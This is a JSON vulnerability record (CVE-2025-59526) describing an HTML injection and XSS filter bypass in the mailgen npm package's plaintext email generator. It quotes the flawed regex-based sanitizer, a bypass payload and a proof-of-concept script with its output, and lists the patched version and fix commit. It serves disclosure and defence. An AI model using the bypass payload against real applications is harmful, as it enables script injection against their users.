{"id":"CVE-2025-59526","aliases":["GHSA-j2xj-h7w5-r7vp"],"url":"https://o3.security/vulnerability/CVE-2025-59526","summary":"Mailgen: HTML injection vulnerability in plaintext e-mails","details":"# HTML Injection and XSS Filter Bypass in Plaintext Emails\n\n### Summary\nAn HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the `Mailgen.generatePlaintext(email);` method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).\n\n### Vulnerability Analysis\nThe following function (inside `index.js`) is intended to strip all HTML content to produce a plaintext string.\n\n```javascript\n// Plaintext text e-mail generator\nMailgen.prototype.generatePlaintext = function (params) {\n    // Plaintext theme not cached?\n    if (!this.cachedPlaintextTheme) {\n        throw new Error('An error was encountered while loading the plaintext theme.');\n    }\n   \n    // Parse email params and get back an object with data to inject\n    var ejsParams = this.parseParams(params);\n\n    // Render the plaintext theme with ejs, injecting the data accordingly\n    var output = ejs.render(this.cachedPlaintextTheme, ejsParams);\n\n    // Definition of the <br /> tag as a regex pattern\n    var breakTag = /(?:\\<br\\s*\\/?\\>)/g;\n    var breakTagPattern = new RegExp(breakTag);\n\n    // Check the plaintext for html break tag, maintains backwards compatiblity\n    if (breakTagPattern.test(this.cachedPlaintextTheme)) {\n        // Strip all linebreaks from the rendered plaintext\n        output = output.replace(/(?:\\r\\n|\\r|\\n)/g, '');\n\n        // Replace html break tags with linebreaks\n        output = output.replace(breakTag, '\\n');\n\n        // Remove plaintext theme indentation (tabs or spaces in the beginning of each line)\n        output = output.replace(/^(?: |\\t)*/gm, \"\");\n    }\n\n    // Strip all HTML tags from plaintext output\n    output = output.replace(/<.+?>/g, '');\n\n    // Decode HTML entities such as &copy;\n    output = he.decode(output);\n\n    // All done!\n    return output;\n};\n```\n\nThe process fails because it first converts HTML break tags to newlines and then attempts to strip HTML tags with a regular expression. Using a break tag inside another HTML tag can deceive the filter, allowing HTML content to be injected into the email.\n\nA valid payload is: `<img<br> src=xyz onerror=alert(1)>`.\n\n### Proof of Concept\n\n```javascript\nvar Mailgen = require('mailgen');\n\nvar mailGenerator = new Mailgen({\n    theme: 'default',\n    product: {\n        name: 'Mailgen',\n        link: 'https://mailgen.js/'\n    }\n});\n\nvar email = {\n    body: {\n        name: 'John <img<br> src=xyz onerror=alert(document.body.innerHTML)> Appleseed',\n        intro: 'Welcome to Mailgen! We\\'re very excited to have you on board.',\n        action: {\n            instructions: 'To get started with Mailgen, please click here:',\n            button: {\n                color: '#22BC66',\n                text: 'Confirm your account',\n                link: 'secret-link'\n            }\n        },\n        outro: 'Need help, or have questions? Just reply to this email, we\\'d love to help.'\n    }\n};\n\n// Generate the plaintext version of the e-mail\nvar emailText = mailGenerator.generatePlaintext(email);\n\n// Optionally, preview the generated plaintext e-mail\nrequire('fs').writeFileSync('emailText.txt', emailText, 'utf8');\n```\n\n**Resulting output file (`emailText.txt`):**\n\n```html\nHi John <img\nsrc=xyz onerror=alert(document.body.innerHTML)> Appleseed,\n\nWelcome to Mailgen! We're very excited to have you on board.        \n\nTo get started with Mailgen, please click here:        \nsecret-link            \n\nNeed help, or have questions? Just reply to this email, we'd love to help.        \n\nYours truly,  \nMailgen\n\n© 2025 Mailgen. All rights reserved.\n```\n\n### Mitigation\nThe vulnerability has been patched in commit [741a019](https://github.com/eladnava/mailgen/commit/741a0190ddae0f408b22ae3b5f0f4c3f5cf4f11d) and released to npm in version `2.0.30`.\n\nThanks to Edoardo Ottavianelli (@edoardottt) for discovering and reporting this vulnerability.","published":"2025-09-22T19:27:53.323Z","modified":"2026-08-12T03:51:11.576460796Z","cvss":null,"epss":{"score":0.00438,"percentile":0.36322,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"mailgen","fixedVersion":"2.0.30"}],"fix":{"url":"https://github.com/eladnava/mailgen/commit/741a0190ddae0f408b22ae3b5f0f4c3f5cf4f11d","label":"eladnava/mailgen@741a019"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/59xxx/CVE-2025-59526.json"},{"type":"ADVISORY","url":"https://github.com/eladnava/mailgen/security/advisories/GHSA-j2xj-h7w5-r7vp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59526"},{"type":"FIX","url":"https://github.com/eladnava/mailgen/commit/741a0190ddae0f408b22ae3b5f0f4c3f5cf4f11d"},{"type":"PACKAGE","url":"https://github.com/eladnava/mailgen"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:11.576460796Z"}}